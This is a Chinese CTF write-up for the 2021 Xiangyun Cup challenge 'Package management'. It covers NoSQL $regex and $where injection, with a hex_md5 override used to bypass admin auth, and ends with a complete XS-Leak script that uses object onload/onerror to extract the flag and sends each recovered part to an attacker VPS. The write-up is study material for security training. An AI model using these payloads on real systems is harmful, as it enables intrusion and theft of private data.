打算把 http://xsleak.dev 上的知识点全部过一遍 顺便找对应的题目来复现一下
祥云杯2021 – Package management
content
有bot 典型的 xsleak
先看一下 csp
1 2 3 4 5 6 7
| app.use((req: Request, res: Response, next: NextFunction) => { res.locals.session = req.session; res.locals.csrfToken = req.csrfToken(); res.set('Content-Security-Policy', "default-src 'none';style-src 'self' 'sha256-GQNllb5OTXNDw4L6IIESVZXrXdsfSA9O8LeoDwmVQmc=';img-src 'self';form-action 'self';base-uri 'none';"); res.set('X-Content-Type-Options','nosniff'); next(); });
|
看下flag的位置 存在了数据库里 会被 description 取出来 只会在 admin 的用户里出现
1 2 3 4 5 6 7
| const flag = { "user_id": admin.id, "pack_id": genPackageId(admin.id), "name": "Flag is here", "description": process.env.FLAG, "version": "1.0.1" }
|
所以我们的目标就是 leak 这个 description
那接下来就要看一下 view 咋写的
在 packages.pug 文件里 发现了 pack.description
应为是 !{package.description}
所以可以xss 根据csp 可在这里塞一个跳转的链接 跳到我们的vps上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| block content .container if error .alert.alert-danger= error if message .alert.alert-success.mx-5(role='alert') #{message} .row each pack in packs .col-lg-4.col-md-6.mb-4 .card.h-100 a(href=`/packages/${pack.pack_id}`) img.card-img-top(src=`/static/images/${pack.name}.png`, alt='') .card-body h4.card-title a(href=`/packages/${pack.pack_id}`) #{pack.name} p.card-text.text-truncate | #{pack.description} .card-footer small.text-muted v#{pack.version}
|
那么接下来就是找到一个可以用来leak的点
查找了一下和 description 相关的函数
我们发现有一个 add package 的功能
接下来注意到了 list 功能 是按照 description 进行搜索
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| router.get('/list', async (req, res, next) => { const packs = await Package.find({ user_id: req.session.userId }); if (packs.length == 0) { return res.redirect('/packages'); } let { search } = req.query; if (search) { try { let description = search; let name = search; if (typeof description === 'string') { description = { description }; } if (typeof name === 'string') { name = { name }; } const packs = await Package.find({ user_id: req.session.userId, $or: [name, description], }); if (packs.length == 0) { return next(createError(404)); } return res.render('packages', { packs }); } catch (err) { return next(createError(500)) } } return res.render('packages', { packs }); });
|
构造
1
| /packages/list?search[description][$regex]=flag^
|
可以用来查询description
接下来需要过 auth 这就要回到登录注册那部分去找了
怎么说呢 这里存在 注入 但我们先不考虑注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| router.post('/auth', async (req, res) => { let { token } = req.body; if (token !== '' && typeof (token) === 'string') { if (checkmd5Regex(token)) { try { let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec() console.log(docs); if (docs.length == 1) { if (!(docs[0].isAdmin === true)) { return res.render('auth', { error: 'Failed to auth' }) } } else { return res.render('auth', { error: 'No matching results' }) } } catch (err) { return res.render('auth', { error: err }) } } else { return res.render('auth', { error: 'Token must be valid md5 string' }) } } else { return res.render('auth', { error: 'Parameters error' }) } req.session.AccessGranted = true res.redirect('/packages/submit') });
|
需要我们使用 admin 密码得 md5
这里我看到大佬用竞争的方法 更改 hex_md5 函数 在下属是佩服
这里我们用一个hello的md5
1
| hex_md5=function(){return '5d41402abc4b2a76b9719d911017c592'}
|
1
| GET /packages/list?search[$where]=hex_md5=function(){return%20%275d41402abc4b2a76b9719d911017c592%27}
|
卧槽 nb 真的成功了 似乎这里并不需要竞争? 我过段时间发还是可以过auth的
提交我们构造的恶意的包 此时bot就会访问我们的页面并被重定向到我们自己的页面,再结合刚才的search 就可以进行xsleak
最后我们需要的是一个 hit
而具体 leak 的方法。我们使用object
标签。它能在火狐环境下做到,如果object.data
访问状态码 200,就会触发 onload 事件。如果访问状态码 404,就会触发 onerror 事件。我们根据这个差异性,就能利用 search 注出 flag 内容了
代码 来自 https://www.scuctf.com/ctfwiki/web/9.xss/xsleaks/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <html> <script> const VPS_IP = 'http://*' const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";
const escape = (c) => { return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&'); }
const oracle = async (url) => { return new Promise((resolve, reject) => { const object = document.createElement("object"); object.data = url; object.onload = resolve; object.onerror = reject; document.head.appendChild(object); }); } const search = async (url) => { try { await oracle(url) return true; } catch (e) { return false; } }
(async () => { let flag = ''; let url = `http://localhost:8000/packages/list?search[description][$regex]=^${flag}` while (flag.charAt(flag.length - 1) !== "}") { for ( let i of chars ) { if ( await(search(url + escape(i))) ) { url = url + escape(i) flag += i await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'}) break; } else { console.log('failed'); } } } })(); </script> <img src="https://deelay.me/10000/http://example.com"/> </html
|
about object and cache
打算再写一篇blog记录一下
https://portswigger.net/daily-swig/new-xs-leak-techniques-reveal-fresh-ways-to-expose-user-information
https://infosecwriteups.com/cross-site-content-and-status-types-leakage-ef2dab0a492
https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html